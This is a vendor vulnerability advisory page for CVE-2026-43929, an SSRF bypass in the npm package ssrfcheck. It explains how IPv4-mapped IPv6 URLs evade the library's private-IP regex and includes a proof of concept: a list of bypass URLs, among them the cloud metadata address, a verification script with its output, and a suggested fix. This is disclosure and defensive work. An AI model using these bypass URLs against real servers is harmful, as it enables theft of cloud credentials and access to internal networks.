Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-43929 ssrfcheck

HIGH

CVE-2026-43929 is a high-severity (CVSS 8.2) CWE-184 vulnerability in ssrfcheck. No vendor fix is recorded yet; mitigation options are listed below.

ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs

Published
May 5, 2026
Updated
May 13, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-43929.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs14th percentile — riskier than 14% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-43929 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

2other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
ssrfchecknpm
10Kdownloads / week

Description

Summary

ssrfcheck v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.


Details

Vulnerable file: src/is-private-ip.js

The library detects IPv6 private addresses using the privIp6() function. The relevant portion:

// src/is-private-ip.js  (lines ~40-60 of the published source)
function privIp6 (ip) {
  return /^::$/.test(ip) ||
    /^::1$/.test(ip) ||
    /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    // ... more patterns, all expect dot-notation ...
}

The third line is the IPv4-mapped IPv6 check. It expects input in the form ::ffff:127.0.0.1 (dots). However, the IP is extracted from the URL using url.hostname, which goes through the WHATWG URL parser first.

How WHATWG URL normalizes the address (src/parse-url.js):

const url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here
const ipcheck = trimBrackets(url.hostname);    // e.g. '::ffff:7f00:1'  ← hex, no dots
const ipVersion = isIP(ipcheck);               // returns 6

The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:

127.0.0.1       → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1
169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe
192.168.1.1     → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101

So by the time the regex /^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/ runs, the string it receives is ::ffff:7f00:1 — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).

Entry point (src/index.js):

if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {
  return false;   // ← never reached for IPv4-mapped IPv6
}
return true;      // ← always reached → BYPASS

PoC

Environment: Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.

Setup:

mkdir ssrfcheck-poc && cd ssrfcheck-poc
npm init -y
npm install ssrfcheck

Step 1 — confirm WHATWG URL normalization:

node << 'EOF'
const addrs = [
  ['127.0.0.1',       'loopback'],
  ['169.254.169.254', 'AWS/GCP/Azure metadata'],
  ['192.168.1.1',     'private LAN'],
  ['10.0.0.1',        '10.x range'],
];
for (const [ip, label] of addrs) {
  const h = new URL('http://[::ffff:' + ip + ']/').hostname;
  console.log(label + ' -> ' + h);
}
EOF

Expected output — confirms WHATWG drops dots:

loopback              -> [::ffff:7f00:1]
AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]
private LAN           -> [::ffff:c0a8:101]
10.x range            -> [::ffff:a00:1]

Step 2 — trigger the bypass:

node << 'EOF'
const { isSSRFSafeURL } = require('ssrfcheck');

const bypasses = [
  'http://[::ffff:127.0.0.1]/',
  'http://[::ffff:169.254.169.254]/',
  'http://[::ffff:192.168.1.1]/',
  'http://[::ffff:10.0.0.1]/',
  'http://[::ffff:172.16.0.1]/',
  'http://[::ffff:7f00:1]/',
  'http://[0:0:0:0:0:ffff:127.0.0.1]/',
];

for (const url of bypasses) {
  const result = isSSRFSafeURL(url);
  console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result);
}

console.log('---');
const r1 = isSSRFSafeURL('http://127.0.0.1/');
const r2 = isSSRFSafeURL('http://192.168.1.1/');
const r3 = isSSRFSafeURL('http://[::1]/');
console.log('127.0.0.1 caught?',   r1 === false);
console.log('192.168.1.1 caught?', r2 === false);
console.log('[::1] caught?',        r3 === false);
EOF

Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):

[BYPASS] http://[::ffff:127.0.0.1]/           -> true
[BYPASS] http://[::ffff:169.254.169.254]/     -> true
[BYPASS] http://[::ffff:192.168.1.1]/         -> true
[BYPASS] http://[::ffff:10.0.0.1]/            -> true
[BYPASS] http://[::ffff:172.16.0.1]/          -> true
[BYPASS] http://[::ffff:7f00:1]/              -> true
[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/  -> true
---
127.0.0.1 caught?   true
192.168.1.1 caught? true
[::1] caught?        true

7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.

Full automated verification script (verify-ssrfcheck.js):

#!/usr/bin/node
// ssrfcheck bypass verification script
// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization

const { isSSRFSafeURL } = require('ssrfcheck');

const RED   = '\x1b[31m';
const GREEN = '\x1b[32m';
const CYAN  = '\x1b[36m';
const DIM   = '\x1b[2m';
const RESET = '\x1b[0m';

const BYPASSES = [
  { url: 'http://[::ffff:127.0.0.1]/',         label: 'loopback   (127.0.0.1)' },
  { url: 'http://[::ffff:169.254.169.254]/',   label: 'AWS meta   (169.254.169.254)' },
  { url: 'http://[::ffff:192.168.1.1]/',       label: 'LAN        (192.168.1.1)' },
  { url: 'http://[::ffff:10.0.0.1]/',          label: '10.x range (10.0.0.1)' },
  { url: 'http://[::ffff:172.16.0.1]/',        label: '172.16.x   (172.16.0.1)' },
  { url: 'http://[::ffff:7f00:1]/',            label: 'hex form   (direct)' },
  { url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded   (0:0:0:0:0:ffff:127.0.0.1)' },
];

const BASELINE = [
  { url: 'http://127.0.0.1/',    label: 'dotted loopback', expectFalse: true },
  { url: 'http://192.168.1.1/',  label: 'private LAN',     expectFalse: true },
  { url: 'http://[::1]/',        label: 'IPv6 loopback',   expectFalse: true },
  { url: 'https://example.com/', label: 'public domain',   expectFalse: false },
];

console.log(`\n${CYAN}=== ssrfcheck v1.3.0 — bypass verification ===${RESET}`);
console.log(`${DIM}Node.js ${process.version}${RESET}\n`);

console.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);
for (const { url } of BYPASSES) {
  const parsed = new URL(url);
  console.log(`  ${url.padEnd(45)} -> hostname: ${parsed.hostname}`);
}

console.log(`\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);
let bypassed = 0;
for (const { url, label } of BYPASSES) {
  const result = isSSRFSafeURL(url);
  if (result === true) bypassed++;
  const tag = result === true
    ? `${RED}[BYPASS]${RESET}`
    : `${GREEN}[caught]${RESET}`;
  console.log(`  ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`);
}

console.log(`\n${CYAN}[STEP 3] Baseline checks${RESET}`);
for (const { url, label, expectFalse } of BASELINE) {
  const result = isSSRFSafeURL(url);
  const ok = (expectFalse ? result === false : result === true);
  const tag = ok ? `${GREEN}[OK]${RESET}    ` : `${RED}[FAIL]${RESET}  `;
  console.log(`  ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`);
}

console.log(`\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\n`);
process.exit(bypassed === BYPASSES.length ? 1 : 0);

Run:

node verify-ssrfcheck.js
# exit code 1 = bypasses confirmed (vulnerable)
# exit code 0 = all caught (fixed)

VIDEO POC ASCII CAST

asciicast

--

Impact

Vulnerability type: Server-Side Request Forgery (SSRF) — complete protection bypass

Who is impacted: Any Node.js application that:

  1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload)
  2. Uses isSSRFSafeURL() from ssrfcheck to validate that URL before making an outbound HTTP request
  3. Runs on Node.js >= 10 (WHATWG URL parser enabled — all supported versions as of 2026)

Concrete impact scenarios:

  • Cloud metadata theft: On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat
  • Internal network pivoting: Attacker reaches services on 10.x.x.x, 172.16.x.x, 192.168.x.x that are not exposed to the internet, bypassing the only protection layer.
  • Localhost access: Attacker reaches http://[::ffff:127.0.0.1]/admin or any service bound to loopback on the server.

The bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version >= 10.

Weaknesses

CWE-918 — Server-Side Request Forgery (SSRF) CWE-184 — Incomplete List of Disallowed Inputs


Suggested Fix

Replace the hand-rolled regex denylist in src/is-private-ip.js with Node's built-in net.BlockList, which operates on parsed IP values and is immune to string representation differences:

- function privIp6 (ip) {
-   return /^::$/.test(ip) ||
-     /^::1$/.test(ip) ||
-     /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
-     /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
-     ...
- }

+ const { BlockList } = require('net');
+
+ const _ipv6Block = new BlockList();
+ _ipv6Block.addAddress('::',          'ipv6');          // unspecified
+ _ipv6Block.addAddress('::1',         'ipv6');          // loopback
+ _ipv6Block.addSubnet('::ffff:0:0',   96, 'ipv6');      // ALL IPv4-mapped — catches any private IPv4 in any notation
+ _ipv6Block.addSubnet('64:ff9b::',    96, 'ipv6');      // NAT64
+ _ipv6Block.addSubnet('fc00::',        7, 'ipv6');      // ULA
+ _ipv6Block.addSubnet('fe80::',       10, 'ipv6');      // link-local
+ _ipv6Block.addSubnet('ff00::',        8, 'ipv6');      // multicast
+ _ipv6Block.addSubnet('100::',        64, 'ipv6');      // IETF reserved
+ _ipv6Block.addSubnet('2001::',       32, 'ipv6');      // Teredo
+ _ipv6Block.addSubnet('2001:db8::',   32, 'ipv6');      // documentation
+ _ipv6Block.addSubnet('2002::',       16, 'ipv6');      // 6to4
+
+ function privIp6(ip) {
+   try { return _ipv6Block.check(ip, 'ipv6'); }
+   catch { return false; }
+ }

The ::ffff:0:0/96 subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. BlockList.check() parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
📦npmssrfcheckall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ssrfcheck, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of ssrfcheck has shipped for CVE-2026-43929 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-43929 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-43929. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `ssrfcheck` v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. `http://[::ffff:127.0.0.1]/`). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form (`[::ffff:7f00:1]`) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address `169.254.169.254`, are bypas
O3 Security · Impact-Aware SCA

Is CVE-2026-43929 in your dependencies?

O3 Security finds CVE-2026-43929 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-43929: ssrfcheck SSRF (High 8.2) | O3 Security